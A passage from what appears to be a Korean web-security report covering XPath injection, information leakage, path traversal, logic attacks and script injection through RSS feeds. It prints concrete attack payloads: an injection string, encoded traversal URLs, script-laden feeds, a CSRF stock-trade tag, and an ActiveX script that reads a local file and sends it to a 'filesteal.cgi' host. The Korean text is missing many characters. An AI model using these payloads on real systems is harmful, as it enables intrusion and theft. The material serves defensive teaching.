String account=Convert.ToString(nav.Evaluate(expr));
if (account=="") {
// name+password pair is not found in the XML document
// login failed.
} else {
// account found -> Login succeeded.
// Proceed into the application.
}
와 같은 코드가 사용되었을 때 공격자는 Xpath 식(expression)을 인젝션 할 수
있다. 를 들어, 아래의 값을 사용자 이름으로 제공할 수 있다:
' or 1=1 or ''='
이로 인해 원래 Xpath의 의미론이 변하게 된다. 그래서 항상 첫 번째계정번호를
XML문서에 띄우게 된다. 이 경우에 쿼리를 아래와 같이 될 것이다:
string(//user[name/text()='' or 1=1 or ''='' and
password/text()='foobar']/account/text())
이것은 다음과 동일하고(술어predicate가 모든노드에 참임을 평가하는 것이므로)
string(//user/account/text()) //user/account/text()의 첫 번째 를 만들어내게 된다.
그러므로 공격자는 유효한 사용자 이름이나 비 번호를 제공하지 않아도 (XML 문
서에 제일 처음 올라가 있는 사용자로써) 로그인할 수 있게 되는 결과를 낳게 된다.
3.5 정보 유출 (I n f o r m a t i o n D i s c l o s u r e)
여기에서는 웹사이트에 한 시스템 특정 정보(system specific information)을 획득
하기 한 공격에 해 다루고자 한다. 시스템 특정 정보(System specific information)
에는 소 트웨어 배포, 버 번호, 패치 벨이 포함된다. 는 정보가 백업 일이나
임시 일의 치를 포함할 수도 있다. 개의 경우 사용자의 필요를 충족시키기
해서 이 정보를 밝힐 필요는 없다. 부분의 웹사이트는 어느 정도의 정보를 reveal
하게 되지만, 가능한 한 데이터의 양을 제한하는 것이 최선이다. 공격자가 웹사이트
에 한 정보를 더 많이 얻게 될수록 시스템은 공격에 더 쉽게 노출되는 것이다.
□ 디 터리 인덱싱(Directory Indexing)
자동 디 터리 리스 /인덱싱은 만약 normal base file(index.html/home.html
/default.htm)이 없으면 요청된 디 터리 내의 모든 일을 목록화 해주는 웹 서버
기능이다. 사용자가 웹사이트의 메인 페이지를 요청하면 보통 http://www.example
과 같이 특정 일로 가능 주소를 뺀 도메인 이름을 사용한 URL을 주소 창에 치게
된다. 웹 서버는 이 요청을 처리하고 디폴트 일이름을 찾기 해 문서루트 디
터리를 검색해서 이 페이지를 클라이언트에게 보낸다. 만약 이 페이지가 존재하지
- 28 -
않으면 웹 서버는 디 터리 목록 출력을 발행해서 클라이언트에게 출력을 보내게
된다. 이는 이 디 터리 내의 "ls" (Unix)나 "dir" ( 도우)명령어를 내리는 것이나
HTML 폼으로 결과물을 보여주는 것과 같다. Nikto와 같은 취약성 스캐 는 최
로 (initial probe)에서 얻은 데이터에 기 하여 동 으로 추가 디 터리/ 일을
스캔에 포함시킬 수 있다. /robots.txt 일을 리뷰하거나 디 터리 인덱싱 컨텐츠를
검토함으로 스캐 는 이러한 새로운 데이터로 웹 서버를 한층 더 질문(interrogate)
할 수 있게 되는 것이다. 다음은 디 토리 인덱싱이 어떻게 수행하는지 를 통해 알
아보겠다.
다음의 정보는 디 터리 인덱싱 데이터에 기 하여 얻을 수 있다:
- 백업 일 : 확장자 명은 .bak, .old, .orig
- 임시 일 : 서버에서 정상 으로 삭제되었으나 어떤 이유로 아직 사용이 가능한 일
- 숨은 일 : 일명이 마침표 "."로 시작
- 명명규칙 : 공격자는 웹사이트가 디 터리나 일의 이름을 짓는데 사용되는 작성
스킴(composition scheme)을 알아낼 수도 있다. : Admin vs. admin, backup
vs. back-up, 등등...
- 사용자 계정을 목록화 : 웹 서버의 개인 사용자 계정은 종종 사용자 계정 이름을
딴 홈 디 터리를 가지고 있는 경우가 있다.
- 설정 일 내용 : 이런 일은 액세스 컨트롤 데이터를 포함할 수 있다. 확장자
명은 .conf, .cfg 는.config 등이 될 수 있다.
- 스크립트 내용 – 부분의 웹 서버는 스크립트 치( :/cgi-bin) 을 specify하거
나 서버를 설정해서 실행 스크립트가 일 허용에 기 해서 일을 시험하고 실
행할 수 있도록 허용하고 있다( : *nix systems의 실행 비트(execute bit) 와 아
치 XbitHack 지시어). 이런 옵션 때문에 cgi-bin 내용의 디 터리 인덱싱 내용
이 올바르지 않으면 스크립트 코드를 다운로드( 는 리뷰) 할 수 있다.
공격자가 의도하지 않은 디 터리 리스 /인덱스를 복구할 수 있는 시나리오는 세
가지다.
1) 웹 서버가 디 터리 인덱스를 허가/제공하도록 잘못 설정되어, 웹 리자가 인
덱싱 지시어를 설정 일 안에 설정했을 때 혼란으로 인해 네트효과가 생길수
있다. 특정 서 디 터리에만 디 터리 인덱싱을 허용하고 나머지 서버에는 막
아놓는다든지 하는 복잡한 세 을 구 했을 때 의도하지 않은 결과가 나올 수
있다. 공격자의 에서 HTTP 요청은 에서 설명한 이 요청과 동일하다. 디
터리를 요청하고 원하는 내용을 받을 수 있는지를 본다. 이들은 웹 서버가 "왜
" 이런식으로 구성되었는지 하는 이유에는 심이 없다.
2) 웹 서버의 일부 구성요소는 설정 일 내에서 불가능하거나 인덱스 페이지가 존
재하여 디 터리 인덱싱에서 유일한 유효한 "exploit" 이다. 지 까지 각 웹 서
버에는 셀 수 없이 많은 취약성이 존재한다. 그래서 특정HTTP 요청이 보내지면
- 29 -
디 터리 인덱싱이 가능해 진다.
3) 구 의 캐쉬 데이터베이스에는 특정 웹사이트의 과거 스캔에서 비롯된 디 터리
인덱스를 포함하는 히스토리 데이터가 포함되어 있을 수 있다.
□ 정보 유출(Information Leakage)
민감한 정보는 HTML 코멘트, 에러 메시지, 소스코드 내에 나타나거나 는 단순
히 웹상에 보여 질 수 있다. 웹사이트가 이런 종류의 정보를 나타내도록 만드는 방
법은 많다. 정보유출이 다고 해서 꼭 보안에 구멍이 뚫렸다고 말할 수는 없지만
공격자가 향후악용에 유용한 가이드를 제공해주는 것은 확실하다. 민감한 정보의
유출은 다양한 수 의 리스크를 동반할 수 있으니 할 수 있을 때마다 제한해야 한다.
정보 유출(코드 왼쪽 코멘트, 버보스 오류 메시지 등등)이 처음 발생했을 때, 공격자
는 웹사이트가 사용한 디 터리 구조, SQL 쿼리 구조, 주요 로세스의 이름에
한 문맥상 정보를 얻을 수 있다. 종종 개발자는 HTML과 스크립트 코드에 코멘트
를 남기는데 이는 디버깅이나 통합을 원활히 하고자 함이다. 이런 정보는 스크립트
가 어떻게 작동하는 지에 한 간단한 코멘트에서부터 최악의 경우, 개발시험단계
에서 쓴 사용자 ID와 비 번호에 이르기까지 매우 다양 할 수 있다. 공격은 주로
웹사이트 보호망 바깥에 가해지는데 클라이언트 공격, "casual observer" concerns과
같은 경우이다. 이런 맥락에서의 정보유출은 기 는 비 로 간주되는 주요 사용
자 데이터의 노출을 다루게 된다. 즉, 사용자에게도 그냥 노출되어서는 안 되는 정
보들이다. 정보유출은 세 가지로 나 수 있는데, 첫 번째는 코드에 남아있는 주석,
두 번째는 버보스 오류 메시지(verbose error message), 그리고 에 보이는 기
데이타이다.
다음 는 코드에 남아있는 주석이 정보유출을 하는 경우이다.
<TABLE border="0" cellPadding="0" cellSpacing="0"
height="59" width="591">
<TBODY>
<TR>
<!--If the image files are missing, restartVADER -->
<TD bgColor="#ffffff" colSpan="5"
height="17" width="587"> </TD><TR>
개발자/QA담당자가 남긴 주석이 왼쪽에 보인다. 이미지 일이 보이지 않으면
어떻게 해야 하는 지를 알려주고 있다. 보안의 구멍은 코드에 명백하게 언 된 서
버의 호스트 이름, "VADER"이다.
버보스 오류 메시지의 는 유효하지 않은 쿼리(invalid query)에 한 응답에서
요한 정보가 포함되는 경우이다. 를 들어 다음과 같이 로그인 페이지에 보 된
사용자 ID에 생략부호( ’ )를 붙 을 때 나오는 화면이다
- 30 -
An Error Has Occurred.
Error Message:
System.Data.OleDb.OleDbException:
Syntax error
(missing operator) in query expression
'username = '''
and password = 'g''. at
System.Data.OleDb.OleDbCommand.
ExecuteCommandTextErrorHandling (Int32 hr) at
System.Data.OleDb.OleDbCommand.
ExecuteCommandTextForSingleResult (tagDBPARAMS dbParams,
Object&executeResult) at
첫 번째 오류 문장(error statement)에서 구문오류(syntax error)가 보고되었다. 에
러 메시지는 SQL 쿼리에 사용된 쿼리 매개변수 username (사용자ID)와 password
(비 번호)를 밝 낸다. 이 유출된 정보는 공격자가 웹사이트에 해 SQL 인젝션
공격을 시작하는데 쓰이게 되는 것이다.
□ 경로 유출(Path Traversal)
경로유출공격기법은 잠재 으로 웹 문서의 루트 디 터리 바깥에 있는 일, 디
터리, 명령어에 한 액세스를 강요한다. 공격자는 이런 방식으로 URL을 조작해서
웹사이트가 웹 서버상에서 어디에서든 임의 일(arbitrary file)의 내용을 실행하거나
밝히도록 할 수 있다. HTTP 기반 인터페이스를 노출하는 장치라면 잠재 으로 경로
유출에 취약하다. 부분의 웹사이트는 일반 으로 "웹 문서 루트(web document
root)" 는 "CGI 루트(CGI root)"라고 불리는 일시스템의 특정부분에 한 사용
자의 근을 제한한다. 이런 디 터리는 사용자 근을 목 으로 하는 일과 웹
어 리 이션 기능성을 구동하기 해 필요한 실행 가능 일을 포함한다. 일시스
템에 있는 일이나 실행 명령어에 근하기 해서는 경로유출 공격은 특수문자
시 스 능력을 사용하게 된다. 가장 기 인 경로 유출 공격은 "../"특수문자 시
스를 쓴다. 이것은 URL에서 요청된 리소스 치를 바꿔 다. 부분의 인 웹
서버가 이런 기법이 웹 문서 루트에서 이탈하지 못하도록 하고 있지만 "../" 시 스
의 교 인코딩(alternate encoding)이 보안 필터를 우회하도록 도와 수 있다. 이
런 방법 변화에는 /슬래시의 유효한 유니코드 인코딩과 유효하지 않은 유니코드 인
코딩 ("..%u2216" 는 "..%c0%af"), 도우 기반 서버에 있는 /슬래시, URL 인코딩된
문자("%2e%2e%2f"), \슬래시 문자의 이 URL 인코딩("..%255c")이 포함된다. 웹 서
버가 URL 경로에 있는 경로 유출시도를 제한하더라도 웹 어 리 이션 자체가 사
용자제공입력의 부 한 취 으로 인해 여 히 취약할 수 있다. 이것은 템 릿 매
- 31 -
커니즘을 사용하거나 일에서 정 텍스트를 로드하는 웹 어 리 이션의 공통
인 문제 이다. 공격의 변화에서 원래 URL 매개변수 값은 웹 어 리 이션의 동
스크립트 하나의 일이름으로 체된다. 결과, 일은 실행 일이 아닌 텍스트
로 해석되기 때문에 소스코드가 밝 지게 된다. 이 기법은 재 동작 디 터리의
리스 을 밝히기 해종종 "."이나 "%00" NUL 문자와 같은 추가 인 특수문자를
사용한다. Rudimentary file 확장 체크를 우회하기 해서이다.
다음 는 웹 서버에 한 경로유출 공격 하는 경우이다.
Attack:http://example/../../../../../some/file
Attack:http://example/..%255c..%255c..%255csome/file
Attack: http://example/..%u2216..%u2216some/file
다음 는 웹 어 리 이션에 한 경로 유출 공격 하는 경우이다.
Original: http://example/foo.cgi?home=index.htm
Attack: http://example/foo.cgi?home=foo.cgi
공격에서 home 변수의 값이 컨텐트로 쓰 기 때문에 웹 어 리 이션은
foo.cgi 일의 소스코드를 밝힌다. 이 경우에 공격자는 공격을 성공시키기 해서
어떠한 유효하지 않은 문자나 경로 유출 문자를 제출할 필요가 없다는 을 주목해
보자. 공격자는 같은 디 터리내의 다른 일을 index.htm으로 타깃 삼았다.
다음 는 특수문자시 스를 사용한 웹 어 리 이션에 한 경로 유출공격 하는
경우이다.
Original: http://example/scripts/foo.cgi?page=menu.txt
Attack: http://example/scripts/foo.cgi?page=../scripts/foo. cgi%00txt
제에서 웹 어 리 이션은 특수문자시 스를 써서 foo.cgi 일의 소스코드
를 밝힌다. "../"시 스는 재 디 터리 상 디 터리를 traverse하고 /scripts 디
터리에 들어가기 해서 쓰 다. "%00" 시 스는 일 확장체크를 우회하고 일
이 읽혔을 때 확장을 차단(snip off)하기 해 쓰 다는 것을 알 수 있다.
□ 측 가능한 리소스 치(Predictable Resource Location)
측 가능한 리소스 치는 숨겨진 웹사이트 내용과 기능성을 알아내기 해 쓰
이는 공격기법이다. 이 공격은 일반 사용자가 열람하지 못하도록 하고자 하는 컨텐
트를 찾는 무차별 검색을 이용하는 것이다. 임시 일, 백업 일, 설정 일, 샘
일은 모두 잠재 으로 잉여 일(leftover file)이 될 수 있는 들이다. 이런 무차별
검색은 숨겨진 일들이 공통 인 명명규칙(naming convention)을 가지고 있는 경
우가 많고 표 치에 있기 때문에 쉽다. 이런 일은 웹 어 리 이션, 데이터
베이스 정보, 비 번호, 기계 이름 등이 임의의 경로에 민감한 정보를 공개할 수 있
- 32 -
으며 취약성을 포함하고 있을 가능성도 있다. 측 가능한 리소스 치는 강제 검색
(Forced Browsing), 일 목록화(File Enumeration), 디 터리 목록화(Directory
Enumeration) 등으로도 알려져 있다.
다음은 서치기능과 확장자를 조회하는 방법의 이다.
- 공통 일과 디 터리에 한 Blind search
/admin/, /backup/, /logs/, /vulnerable_file.cgi
- 기존 일명에 확장자 첨부: (/test.asp)
/test.asp.bak, /test.bak, /test
3.6 논리 공격(L o g i c a l A t t a c k s)
여기에서는 웹 어 리 이션의 논리 흐름(logic flow)의 남용( 는 악용)에 포커스를
맞춘다. 어 리 이션 논리는 어떤 동작을 수행하기 해서 사용되는 상되는 차
흐름이다. 비 번호 복구, 계정 등록, 경매입찰, 자상거래 구매 등이 모두 어 리
이션 논리의 이다. 특정 동작을 완성하기 해 웹사이트에서 사용자에게 구체
인 여러 단계를 올바르게 수행할 것을 웹사이트에서 요구할 수도 있다. 공격자는
이러한 특징을 우회하거나 오용해서 웹사이트와 그 사용자를 해칠 수 있다.
□ 기능의 오남용(Abuse of Functionality)
기능의 오남용은 웹사이트만의 특징과 기능을 통해 액세스 컨트하는 매커니즘을
소비하거나(consume), 속이거나(defraud), 우회(circumvent)하는 공격기법이다. 웹사
이트의 일부 기능성, 보안 련 특징도 측할 수 없는 행동을 래하는데 남용될
수 있다. 일부 기능이 남용될 수 있는 상태가 될 때 공격자는 잠재 으로 다른 사
용자를 성가시게 하거나 잠재 으로 시스템 체를 속일 수 있다. 기능의 오남용
기법은 다른 카테고리의 웹 어 리 이션 공격법, 즉 웹 검색기능을 원격 웹 록
시로 바꿔버리는 문자열을 도입하기 해 인코딩 공격을 하는 등의 공격법과 서로
얽히게 되는 경우가 종종 있다. 기능의 오남용 공격은 한 승수효과(force
multiplier)로도 잘 사용된다. 를 들어 공격자는 XSS snippet을 web-chat 세션에
인젝션하고 내장된 동보기능(built-in broadcast function)을 써서 웹사이트 체에 악
성코드를 퍼뜨릴 수할 수 있다. 넓게 보면, 컴퓨터 기반 시스템에 한모든 효과
인 공격에는 기능성오남용 문제가 수반된다. 특히, 이런 정의는 악의 인 목 을
해 유용한 웹 어 리 이션을 복시키는 공격에 쓸 수 있다.
다음 아래는 기능의 오남용의 이다.
- 웹사이트의 검색기능을 써서 웹디 터리 바깥의 제한된 일에 근
- 요한 내부 설정 일 교체를 한 일 업로드 서 시스템 복
- 33 -
- 웹 로그인 시스템을 good usernames와 bad passwords로 범람시켜 DoS실행
- 로그인 재시도 제한이 과되었을 때 합법 인 사용자를 차단
□ 서비스거부(Denial of Service)
서비스 거부는 웹사이트가 정상 인 사용자 활동을 수행하지 못하도록 하는 공격
기법이다. DoS공격은 보통 쉽게 네트워크 계층에 용되는데 어 리 이션 계층에
서도 가능하다. 이러한 악성공격은 시스템에 요한 리소스, 취약성 악용, 기능성
오남용을 공 하지 않도록 해서 성공할 수 있다. 많은 경우 DoS 공격은 모든 웹사
이트의 사용 가능한 시스템 리소스를 소모하고자 한다. 를 들어 CPU, 메모리, 디
스크 공간 등이다. 이런 요한 리소스 하나라도 100%가동되게 되면 웹사이트는
보통액세스가 불가능하게 된다. 를 들어, 병력을 담은 보고서를 작성하는 의료
련웹사이트가 있다고 치자. 각 보고서 요청마다 웹사이트는 데이터베이스를 조회해
서 해당 사회보장번호와 맞는 모든 기록을 꺼내게 된다. 수십만 개의 기록이 데이
터베이스에 장되어 있다고 생각할 때(모든 사용자에 한 자료), 사용자는 의료기
록 보고서를 받기 해 3분 정도 기다려야 할 것이다. 그 3분이라는 시간 동안 맞는
기록을 찾으면서 데이터베이스 서버의 CPU 활용도는 60%에 달하게 된다. 일반 인
어 리 이션 계층의 DoS 공격은 병력 보고서를 요청하는 동시신호를 10번 보낼
것이다. 이 요청으로 인해 데이터베이스 서버의 CPU율이 100%에 달하게 되면서 웹
사이트는 DoS 상태가 될 가능성이 아주 높다. 일반 으로 DoS 공격은 다음 아래와
같이 3가지 유형이 있다.
- 특정 사용자를 타깃으로 한 DoS
침입자는 계속틀린 비 번호로 웹사이트에 로그인 하려고 할 것이다. 이로 인해
실제 사용자는 들어가지 못하게 된다.
- 데이터베이스 서버를 타겟으로 한 DoS
침입자는 SQL 인젝션 기법을 써서 데이터베이스를 수정할 것이다. 그러면 시스
템은 사용불가능상태가 된다.( : 모든 데이터 삭제, 모든 사용자 ID 삭제 등등)
- 웹서버를 타겟으로 한 DoS
침입자는 버퍼오버 로우 기법을 사용해서 특별히 만든 요청을 보낼 것이다. 이
요청은 웹 서버 로세스를 충돌시키고 시스템이 보통 사용자 활동에 속하지
못하게 만들어버릴 것이다.
□ 불충분한 반-자동화
불충분한 반-자동화는 공격자가 수작업으로만 작동되어야 할 로세스를 자동화
하도록 웹사이트가 허용할 때 발생한다. 특정 웹사이트 기능성은 자동화된 공격으
로부터 보호해야 한다. 검사를 받지 않고 놔두면, 자동화 로그램나 공격자가 계속
- 34 -
해서 웹사이트 기능성을 작용시켜 시스템을 exploit하거나 defraud하려고 할 수 있다.
자동화는 잠재 으로 일분에 수천 건의요청을 실행하여 성능이나 서비스 하를
불러일으킬 수 있기 때문이다. 를 들어, 자동화 로그램을 통해 몇 분에 만개의
사용자 계정을 새로 등록할 수 있다거나, 반복해서 게시물 등록을 할 경우 서비스
하가 일어날 것임은 자명한 일이다 할 수 있겠다.
□ 불충분한 로세스 검증(Insufficient Process Validation)
불충분한 로세스 검증은 공격자가 어 리 이션의 의도된 로우 컨트롤을 우회
하거나 따돌릴 수 있도록 웹사이트가 허락할 때 발생한다. 로세스가 동작하는 하
는 동안 사용자 상태가 검증되지 않고 강요되면 웹사이트는 악용이나 사기(fraud)에
취약할 수 있다. 사용자가 어떤 웹사이트 기능을 실행할 때 어 리 이션은 사용자
가 특정 순서(order sequence)를 항행(navigate)할 것이라고 상할 수 있다. 사용자
가 어떤 단계를 올바르지 못하게 실행한다면 데이터 무결성오류(data integrity
error)가 일어난다. 다른 로 송 , 비 번호 복구, 구매확인(purchase checkout),
계좌 등록(account signup) 등이 있다. 이런 로세스 에 어떤 단계가 먼 실행
되기를 요청할 수도 있다. 다단계 로세스가 제 로 작동하기 해서 웹사이트는
사용자가 로세스 로우를 traverse하는 동안 사용자 상태를 유지해야 한다. 웹사
이트는 보통 사용자상태를 쿠키사용이나 숨은 HTML 폼필드를 통해서 추 하게 된다.
그러나, 추 이 웹 라우 내에서 클라이언트 쪽에 장이 될 때에는 데이터의
무결성이 검증되어야 한다. 만약 그 지 않을 시에, 공격자는 상되는 트래픽 로
우를 상태를 바꿔서 우회할 수 있다.
제 4 장 Web2.0의 취약성
Web2.0에 있어 보안 이슈들을 간략히 정리해 보면,
(1) 기존 HTTP 요청(GET,POST) 같은 방식으로 인해 정보 노출 취약 이 존재
(2) 암호화된 데이터를 복호화하는 과정에서의 Key 노출의 험 존재.
(3) 원격 코드를 삽입하거나 악의 인 사용자에 의한 데이터 조작.
(4) XSS(Cross-Site Scripting), SQL Injection 취약
(5) 설계 상 는 잘못된 응용 로그램 구 으로 인한 취약 등
Web2.0에서는 RSS와 Atom 표 을 사용하는 XML 컨텐트 피드를 이용한다. 따라
서, 사용자와 웹사이트 모두 해당 웹사이트를 방문하지 않고도 컨텐트 헤드라인과
본문내용을 얻게 해 다. 한 사용자는 기본 으로 해당 웹사이트의 컨텐트에 한
요약을 볼 수 있다. 불행하게도, 이러한 데이터를 수신하는 애 리 이션의 다수
는 제 3자로부터 얻은 컨텐트를 사용하는 데 따른 보안상의 문제를 고려하지 않고
- 35 -
<?xml version="1.0" encoding="ISO-8859-1"?> <rss version="2.0"> <channel><title> <script>alert('Channel Title')</script></title><link>http://www.mycoolsite.com/</link><description> <script>alert('Channel Description')</script> </description><language>en-us</language><copyright>Mr Cool 2006</copyright>
<pubDate>Thu, 22 Jun 2006 11:09:23 EDT</pubDate> <ttl>10</ttl> <image><title> <script>alert('Channel Image Title')</script></title><link>http://www.mycoolsite.com/</link><url>http://www.mycoolsite.com/logo.gif</url><width>144</width><height>33</height><description> <script>alert('Channel Image Description')</script> </description></image><item>
<title> <script>alert('Item Title')</script> </title><link>http://www.mycoolsite.com/lonely.html</link><description> <script>alert('Item Description')</script> </description><pubDate>Thu, 22 Jun 2006 11:08:14 EDT</pubDate> <guid>http://mysite/Mrguid</guid></item></channel></rss>
있으며, 다양한 형태의 공격에 애 리 이션 부가 시스템을 취약하게 만들고 있
다는 사실을 인식하지 못하고 있다. 본 장에서는 RSS, Atom, SML 표 을 따르는
웹 피드에 기반한 다양한 형태의 공격에 해 설명할 것이다.
4.1 공격 벡터(attack vector)로서의 웹 피드
웹 라우 , 로컬 리더기, 웹사이트, 그리고 Bloglines와 같은 온라인 포털사이트
는 모두 피드를 정기 구독한다. 이러한 애 리 이션은 새로운 컨텐트를 일정 간격
으로 수신 클라이언트가 설정을 하거나 피드 자체에서 설정하는 방식으로 자동 페
치(fetch)한다. 일단 사용자가 구독을 하면, 제목을 읽을 수 있는 공간에 새로운 알
림이 뜨게 되고 간단한 본문내용도 함께 볼 수 있다. RSS 명세는 HTML 포매 을
허용하기 해 story body(the <description> tag)가 HTML 엔티티를 허락했음을 나
타낸다.
□ <>를 문자(literal)로 취 하는 리더기
피드에 HTML 태그가 포함되어 있는 일부 경우, 뷰어 애 리 이션은 해당 컨텐
트를 완 히 지원한다. 아래는 relavant tag에만 단순화된 피드에 한 RSS 2.0의
이다.
- 36 -
<?xml version="1.0" encoding="ISO-8859-1"?>
<rss version="2.0"><channel><title> <script>alert('Channel Title')</script> </title><link>http://www.mycoolsite.com/</link></description><language>en-us</language><copyright>Mr Cool 2006</copyright><pubDate>Thu, 22 Jun 2006 11:09:23 EDT</pubDate>
<ttl>10</ttl><image>`<title> <script>alert('Channel Image Title')</script> </title><link>http://www.mycoolsite.com/</link><url>http://www.mycoolsite.com/logo.gif</url><width>144</width><height>33</height><description> <script>alert('Channel Image Description')</script></description></image><item><title> <script>alert('Item Title')</script> </title><link>http://www.mycoolsite.com/lonely.html</link><description> <script>alert('Item Description')</script> </description><pubDate>Thu, 22 Jun 2006 11:08:14 EDT</pubDate><guid>http://mysite/Mrguid</guid></item>
</channel></rss>
스크립트 인젝션의 다양한 를 에서 볼 수 있다. 젠테이션 단계에서 리더
기는 데이터를 문자(literal)로 취 함에 따라 피드 내에 포함된 모든 스크립트를 실
행하게 된다. 경우에는 JavaScript이다. 이로 인해 악성 소 트웨어가 클라이언트
시스템에 설치될 수 있으며, 쿠키를 훔치거나, 더 큰 범 의 악의 인 목 으로 사용
될 수 있다.
□ HTML 엔티티를 참값(true value)으로 변환하는 리더
부분의 경우 개발자들은 개발한 웹 기반 리더기에 표 XML 명세를 구 하고
HTML 엔티티를 참값(true values)으로 변환해둔다. 개발자들은 이러한 변환 데이터
를 화면에 표시할 때 스크립트 인젝션의 가능성은 감안하지 않는다. 다음 아래 코
드가 그 이다.
RSS 뷰어는 < → <로 , > → >로 변환하고, 그 컨텐트를 스크립트 실행을
허용하는 컨텐트 뷰어에 넣는다. 이 게 리더기는 뷰어로 로딩하기 에 피드 컨텐
트를 변환해서 하드 디스크에 일로 장한다. 이로 인해 본 문서 후반부에 나오는
- 37 -
로컬 역 리스크에 설명된 로컬 역 문제가 생기게 되는 것이다.
□ Display < > < and >를 제거하는 리더
가장 안 한 리더기는 사용자에게 정보를 보여주기 에 HTML 엔티티와 메타문
자를 제거했기 때문에 안 했다. RSS와 Atom 기술을 모두 지원하는 리더기는 둘
하나를 하게 제거하는 경우는 있지만, 둘 다 제거하는 리더는 아직 없으며
그러므로 아직 취약하다. XSS 공격을 잘 안다면 스크립트 인젝션의 처리 등에도 친
숙할 것이다.
4.2 역별 리스크(Risks by Zone)
□ 원격 역 리스크(Remote Zone Risks)
일반 으로 웹 라우 와 웹 기반 리더기는 원격 역의 범주에 속한다. 리더기가
원격 역에서 취약하면 공격자들의 활동능력이 히 제한된다. 그러나 공격이
성공할 가능성은 언제나 존재한다.
o CSRF
공격자는 명령어를 실행하기 해 귀하의 컴퓨터가 웹사이트에 요청을 보내도록
다양한 형태로 CSRF( 는 XSRF) 공격을 이용할 수 있다. 아래 를 보자
<img src="http://www.mystocktradersite.com/transaction.asp?sell=google&buy=Microsoft&numshares=1000">
의 에서 공격자는 피드에 "<img src>"태그를 주입하여 시스템을 www.mystocktradersite.com"
라는 주식거래사이트에 연결해서 주식 매매를 할 수 있음을 보여주는 이다.
o 공격 잠재성
공격자는 다른 사이트에 요청신호를 보낼 수 있기 때문에 라우 를 조작하여
라우 가 스스로 웹 기반 공격을 실행하도록 만들 수 있다. 이러한 공격은 원격
사이트에 DoS(Denial of Service)를 유발하거나, 웹사이트가 취약한 경우에는 명령
어를 실행할 수 있다. 이런 경우 귀하의 IP가 로그 된다는 과 이에 따라 희생자
가 하는 모든 조사결과도 공격자가 아니라 귀하에게로 원인 추궁이 된다는 이 공
격자로서 유리한 이다.
o POST 데이터와 스팸
많은 웹 애 리 이션에서는 매개변수 페칭(fetching)을 포함한 다양한 기능에
- 38 -
Perl사의 CGI.PM 모듈와 같은 공통 웹 라이 러리를 사용하고 있다. 이러한 라이
러리 일부는 요청이 Post 데이터의 형태로 애 리 이션에 들어오는지 GET의
형태로 들어오는지 명세하지 않고도 개발자가 "give me this parameter"라고 말하기
만 하면 되도록 허용하고 있다. 이는 공격자가 원격 컴퓨터의 애 리 이션을 공격
하고 싶고 해당 애 리 이션이 POST를 사용하고 있다면, 이러한 요청을 GET으로
변환해서 공격을 성공시킬 수 있다는 것을 의미한다. 취약한 구독자가 얼마나 되느
냐에 따라 공격자는 이러한 "특징"을 악용하여 수천명의 희생자를 이용, 웹 폼 제출
을 통해 특정 사이트를 스패 할 수 있게된다.
□ 로컬 역 리스크
사용자가 로컬 역 공격에 취약하도록 만드는 리더기는 일반 으로 피드를
HTML 일로 변환해서, 로컬 일에 장하고 인터넷 익스 로러 인스턴스로 로드
한다. 디스크로부터 일을 로드함으로써 리더기는 로컬 라우 역과 기능성에
스스로를 개방하는 셈이 된다. 이 기능성에는 디스크에 일을 읽고 쓰는 권한과
함께 Active X 객체에 한 근권이 포함된다. 아래 간단한 스크립트는 로컬 일
"c:\test.txt"을 읽어 들이고 제3자 호스트로 사본을 보낸 것이다.
<script>
txtFile="";theFile="C:\\test.txt";
var thisFile = new ActiveXObject("Scripting.FileSystemObject");
var ReadThisFile = thisFile.OpenTextFile(theFile,1,true);
txtFile+= ReadThisFile.ReadAll();
ReadThisFile.Close(); alert(txtFile);
document.location='http://host/cgi-bin/filesteal.cgi?' + txtFile
</script>
피드를 볼 때, 사용자는 컨텐트를 보기 에 스크립트를 실행하도록 하겠냐고 묻
는 Active X 경고창을 보게 되는 경우가 많다. 물론, 이 분야를 잘 아는 사용자들은
아니오 버튼을 르겠지만 아직도 잘 모르는 사람들이 많다. 한, Active X 컨트롤
을 실행하기 에 사용자에게 묻지도 않는 리더기도 있다.
일 시스템에 한 근 능력과 원격 역 리스크 섹션에 다룬 부분의 공격을
수행하는 능력 외에, 로컬 역 근은 일반 으로 Ajax 애 리 이션에 의해 이용
되는 "XMLHttp/XMLHttpRequest" 객체로의 근과 같은 다른 기회를 만들어낸다.
이 객체는 보통 자신이 유래한 것과 같은 코드(원격 역에서 유래한)를 포함하고
있는 도메인으로만 요청을 보내도록 제한되어 있다. 그러나 로컬 역에 있을 때에
는 요청될 수 있는 요건에 한 제한이 없다. 이로 인해 공격자는 백 엔드 네트워
크의 포트를 스캔하도록 피드 안에 코드를 포함시킬 수 있게 되고, 열린 포트를 알
아내어 잠재 으로는 사용자가 알지 못하게 방화벽 뒤에 숨어서 자동 으로 공격을
- 39 -
할 수 있게 된다. 웜 가능성은 상당히 많다고 할 수 있다. 아래 제에서는 원격 호
스트에 한 요청 송신을 보여주고 있다.
<script>
var post_data = 'name=value';
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP")
xmlhttp.open("POST", 'http://attackedhost/foo/bar.php', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4) {
alert(xmlhttp.responseText);
}
}
xmlhttp.send(post_data);
</script>
에례미야 그로스맨의 추가 젠테이션에서는 키 스트로크 녹음과 사용자 호스
트와 공격자간의 직 인 상호작용의 제를 볼 수 있다.
4.3 리더기 유형별 리스크(Reader Type-Specific Risks)
□ 웹 리더기 리스크(Web Reader Risks)
웹 기반 피드를 구독하기 해서는 개 라우 나 로컬 클라이언트를 사용한
다. 이러한 라우 나 로컬 클라이언트는 애 리 이션의 구 에 따라 로컬 원
격 역 련 문제에 향을 받게 된다. Bloglines.com이나 구 과 같은 웹사이트에
서는 웹 기반 피드 뷰어를 제공하여 원격 역 리스크 범주에 해당된다. 웹 기반
뷰어의 취약성으로 인해 공격자는 웹사이트의 역(cookie theft를 허용)으로 근할
수 있게 되고 XSS공격에 사용할 수 있는 common ability에도 근할 수 있게 된다.
□ 웹사이트 리스크(Web Site Risks)
피드 기반 공격의 잠재 인 향은 통제되고 있는 피드가 다른 웹사이트에 배포
되어(syndicated) 있을 때에 격히 증가하게 된다. 를 들어, 공격자가 통제하는
피드가 A라는 웹사이트에서 생성되고 B라는 웹사이트에 구 되었다면, 그 컨텐트는
B사이트의 컨텐트 안에 포함될 것이다. B사이트 한 웹 피드 공격에 취약하다면,
공격자는 B사이트의 원격 역과 사용자에 근할 수 있게 된다. 일부의 경우 공격
자가 통제하는 피드는 다른 웹사이트에 한 피드에 포함되어 있고, 이 피드를 받
